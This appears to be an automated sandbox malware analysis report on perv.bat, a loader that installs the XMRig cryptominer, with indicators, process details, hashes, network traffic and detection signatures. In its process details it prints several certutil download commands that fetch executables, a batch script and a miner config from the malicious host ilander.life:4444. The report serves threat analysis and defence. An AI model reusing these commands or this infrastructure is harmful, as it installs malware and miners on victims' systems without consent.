File name:

perv.bat

Full analysis: https://app.any.run/tasks/ca0e1a5f-f75c-454a-aace-a88e1b90ad5c
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: January 02, 2025, 15:24:00
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
loader
xmrig
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text
MD5:

0D9BCB7589C700B4CA186F1758368D12

SHA1:

B7BEB571F7D04B3C3D39A27361124BE9708230D1

SHA256:

379F49C6A3E6792B848825E0A6BCE698FC303989958B2CF959092CD25B7DD919

SSDEEP:

48:PWEgftI+UN9O2MILcIgqpIMj6pFE1rEUvkK45hLO2b2DhCQeMyFb2CJUM6h:PWExJN9Ld5gqpIQ6XE5EUvkH5hC2qDU6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CertUtil for downloading files

      • cmd.exe (PID: 3780)

    • Application was injected by another process

      • dllhost.exe (PID: 3524)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 5728)

    • Runs injected code in another process

      • powershell.exe (PID: 5728)

  • SUSPICIOUS

    • The process executes VB scripts

      • cmd.exe (PID: 5776)

    • Starts NET.EXE to display or manage information about active sessions

      • net.exe (PID: 4136)
      • cmd.exe (PID: 5776)
      • cmd.exe (PID: 3780)
      • net.exe (PID: 3732)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3140)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3140)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3140)

    • Likely accesses (executes) a file from the Public directory

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • vc_redist.exe (PID: 5236)
      • vc_redist.exe (PID: 5320)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)
      • reg.exe (PID: 5112)
      • reg.exe (PID: 5340)
      • Install.exe (PID: 3664)
      • Install.exe (PID: 3808)
      • $77tor.exe (PID: 6060)

    • Potential Corporate Privacy Violation

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)

    • Executable content was dropped or overwritten

      • certutil.exe (PID: 3688)
      • vc_redist.exe (PID: 5320)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 2324)
      • vc_redist.exe (PID: 5236)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)

    • Connects to unusual port

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 4556)

    • Process requests binary or script from the Internet

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)

    • Starts a Microsoft application from unusual location

      • vc_redist.exe (PID: 5236)
      • vc_redist.exe (PID: 5320)

    • Process drops legitimate windows executable

      • vc_redist.exe (PID: 5320)

    • Searches for installed software

      • vc_redist.exe (PID: 5236)

    • Drops a system driver (possible attempt to evade defenses)

      • certutil.exe (PID: 4556)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 3780)

    • Application launched itself

      • Install.exe (PID: 3664)

    • The process executes via Task Scheduler

      • powershell.exe (PID: 5728)

    • Invokes assembly entry point (POWERSHELL)

      • powershell.exe (PID: 5728)

  • INFO

    • Reads security settings of Internet Explorer

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)
      • dllhost.exe (PID: 3524)

    • Checks proxy server information

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)

    • Creates files or folders in the user directory

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)

    • Reads the computer name

      • vc_redist.exe (PID: 5236)
      • vc_redist.exe (PID: 5320)
      • Install.exe (PID: 3808)

    • Checks supported languages

      • vc_redist.exe (PID: 5236)
      • vc_redist.exe (PID: 5320)
      • Install.exe (PID: 3664)
      • Install.exe (PID: 3808)

    • The sample compiled with english language support

      • vc_redist.exe (PID: 5320)
      • certutil.exe (PID: 4536)
      • vc_redist.exe (PID: 5236)

    • The sample compiled with japanese language support

      • certutil.exe (PID: 4556)

    • Reads the machine GUID from the registry

      • Install.exe (PID: 3808)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 5728)

    • The process uses the downloaded file

      • dllhost.exe (PID: 3524)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
154
Monitored processes
30
Malicious processes
12
Suspicious processes
4

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs net.exe no specs net1.exe no specs wscript.exe no specs cmd.exe conhost.exe no specs net.exe no specs net1.exe no specs certutil.exe certutil.exe certutil.exe vc_redist.exe vc_redist.exe certutil.exe certutil.exe certutil.exe certutil.exe certutil.exe certutil.exe reg.exe no specs reg.exe no specs reg.exe no specs install.exe no specs conhost.exe no specs install.exe no specs powershell.exe no specs conhost.exe no specs dllhost.exe $77tor.exe

Process information

PID
CMD
Path
Indicators
Parent process
8\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—Install.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1296C:\WINDOWS\system32\net1 session C:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\netutils.dll
c:\windows\system32\ucrtbase.dll
1356certutil -urlcache -split -f "http://ilander.life:4444/$77xmrig.exe" "C:\Users\Public\Downloads\$77system\$77xmrig.exe" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2212certutil -urlcache -split -f "http://ilander.life:4444/config.json" "C:\Users\Public\Downloads\$77system\config.json" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2324certutil -urlcache -split -f "http://ilander.life:4444/libstdc++-6.dll" "C:\Users\Public\Downloads\$77system\libstdc++-6.dll" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2484\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2996certutil -urlcache -split -f "http://ilander.life:4444/lib.bat" "C:\Users\Public\Downloads\$77system\lib.bat" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
3140"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\elevate.vbs" C:\Windows\System32\wscript.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3524C:\Windows\System32\dllhost.exe /Processid:{ebfb8de0-fc50-4820-8e0d-9a42788be367}C:\Windows\System32\dllhost.exe
winlogon.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
COM Surrogate
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\dllhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
3560C:\WINDOWS\system32\net1 session C:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Net Command
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\netutils.dll
c:\windows\system32\srvcli.dll
Total events
11 204
Read events
11 165
Write events
39
Delete events
0

Modification events

(PID) Process:(5776) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids
Operation:writeName:VBSFile
Value:
(PID) Process:(3140) wscript.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.FriendlyAppName
Value:
Windows Command Processor
(PID) Process:(3140) wscript.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.ApplicationCompany
Value:
Microsoft Corporation
(PID) Process:(3688) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION
(PID) Process:(3688) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION
(PID) Process:(3688) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL
(PID) Process:(3688) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(3688) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3688) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2996) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
Executable files
23
Suspicious files
13
Text files
40
Unknown types
0

Dropped files

PID
Process
Filename
Type
3688certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\98A997D6A809AF6397BA393CCD2F5FD0executable
MD5:47539D0337E97E22A728AFC2638D461F
SHA256:262E52C5BBAA9BCD2DFCB4CF7DA83A1EFA95EBD0299F82031AD31A6AB19405A5
3688certutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\$77tor[1].exeexecutable
MD5:47539D0337E97E22A728AFC2638D461F
SHA256:262E52C5BBAA9BCD2DFCB4CF7DA83A1EFA95EBD0299F82031AD31A6AB19405A5
5236vc_redist.exeC:\Windows\Temp\{A787871B-8837-4E27-835B-0418A833E121}\.ba\thm.xmlxml
MD5:F62729C6D2540015E072514226C121C7
SHA256:F13BAE0EC08C91B4A315BB2D86EE48FADE597E7A5440DCE6F751F98A3A4D6916
5236vc_redist.exeC:\Windows\Temp\{A787871B-8837-4E27-835B-0418A833E121}\.ba\license.rtftext
MD5:2EABBB391ACB89942396DF5C1CA2BAD8
SHA256:E3156D170014CED8D17A02B3C4FF63237615E5C2A8983B100A78CB1F881D6F38
4536certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C49CF39F71AB6903B89F5D846B0A6EA6executable
MD5:810499FC266B73D33D71A8D1E3291AD3
SHA256:5D9999036F2B3A930F83B7FE3E2186B12E79AE7C007D538F52E3582E986A37C3
5236vc_redist.exeC:\Windows\Temp\{A787871B-8837-4E27-835B-0418A833E121}\.ba\wixstdba.dllexecutable
MD5:F68F43F809840328F4E993A54B0D5E62
SHA256:E921F69B9FB4B5AD4691809D06896C5F1D655AB75E0CE94A372319C243C56D4E
2996certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\46B2418918DEF6C453787628239F2745binary
MD5:BE176BD08A105CD2A13994647D69F874
SHA256:45696A29547882E56D04B7CE8A273D227B33D371F118D0D9964464E900B9C255
2996certutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\KCV3KQBA\lib[1].battext
MD5:707FCF43CA91287B5FC84D5B7A0B56A2
SHA256:D4C17F650D4EDBAD4850B1F480DA825B0AB540DCC09859717C66D8BDBCC39C8B
3688certutil.exeC:\Users\Public\Downloads\$77system\$77tor.exeexecutable
MD5:47539D0337E97E22A728AFC2638D461F
SHA256:262E52C5BBAA9BCD2DFCB4CF7DA83A1EFA95EBD0299F82031AD31A6AB19405A5
2996certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\46B2418918DEF6C453787628239F2745text
MD5:707FCF43CA91287B5FC84D5B7A0B56A2
SHA256:D4C17F650D4EDBAD4850B1F480DA825B0AB540DCC09859717C66D8BDBCC39C8B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
24
TCP/UDP connections
41
DNS requests
7
Threats
69

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2624
RUXIMICS.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3688
certutil.exe
GET
—
87.121.86.197:4444
http://ilander.life:4444/$77tor.exe
unknown
—
—
unknown
4308
svchost.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4308
svchost.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2624
RUXIMICS.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2996
certutil.exe
GET
200
87.121.86.197:4444
http://ilander.life:4444/lib.bat
unknown
—
—
unknown
3688
certutil.exe
GET
200
87.121.86.197:4444
http://ilander.life:4444/$77tor.exe
unknown
—
—
unknown
2996
certutil.exe
GET
200
87.121.86.197:4444
http://ilander.life:4444/lib.bat
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
2.23.209.149:443
www.bing.com
Akamai International B.V.
GB
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
2624
RUXIMICS.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4712
MoUsoCoreWorker.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4308
svchost.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
3688
certutil.exe
87.121.86.197:4444
ilander.life
SKAT TV Ltd.
BG
unknown
4712
MoUsoCoreWorker.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2624
RUXIMICS.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4308
svchost.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted

DNS requests

Domain
IP
Reputation
www.bing.com
  • 2.23.209.149
  • 2.23.209.187
  • 2.23.209.130
  • 2.23.209.140
  • 2.23.209.158
  • 2.23.209.185
  • 2.23.209.148
  • 2.23.209.150
  • 2.23.209.189
whitelisted
google.com
  • 216.58.206.46
unknown
ilander.life
  • 87.121.86.197
malicious
crl.microsoft.com
  • 2.16.241.19
  • 2.16.241.12
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
self.events.data.microsoft.com
  • 20.189.173.23
whitelisted

Threats

PID
Process
Class
Message
3688
certutil.exe
Misc activity
ET INFO Packed Executable Download
3688
certutil.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3688
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3688
certutil.exe
Misc activity
ET INFO Packed Executable Download
3688
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3688
certutil.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4536
certutil.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
4536
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4536
certutil.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4536
certutil.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
13 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
perv.bat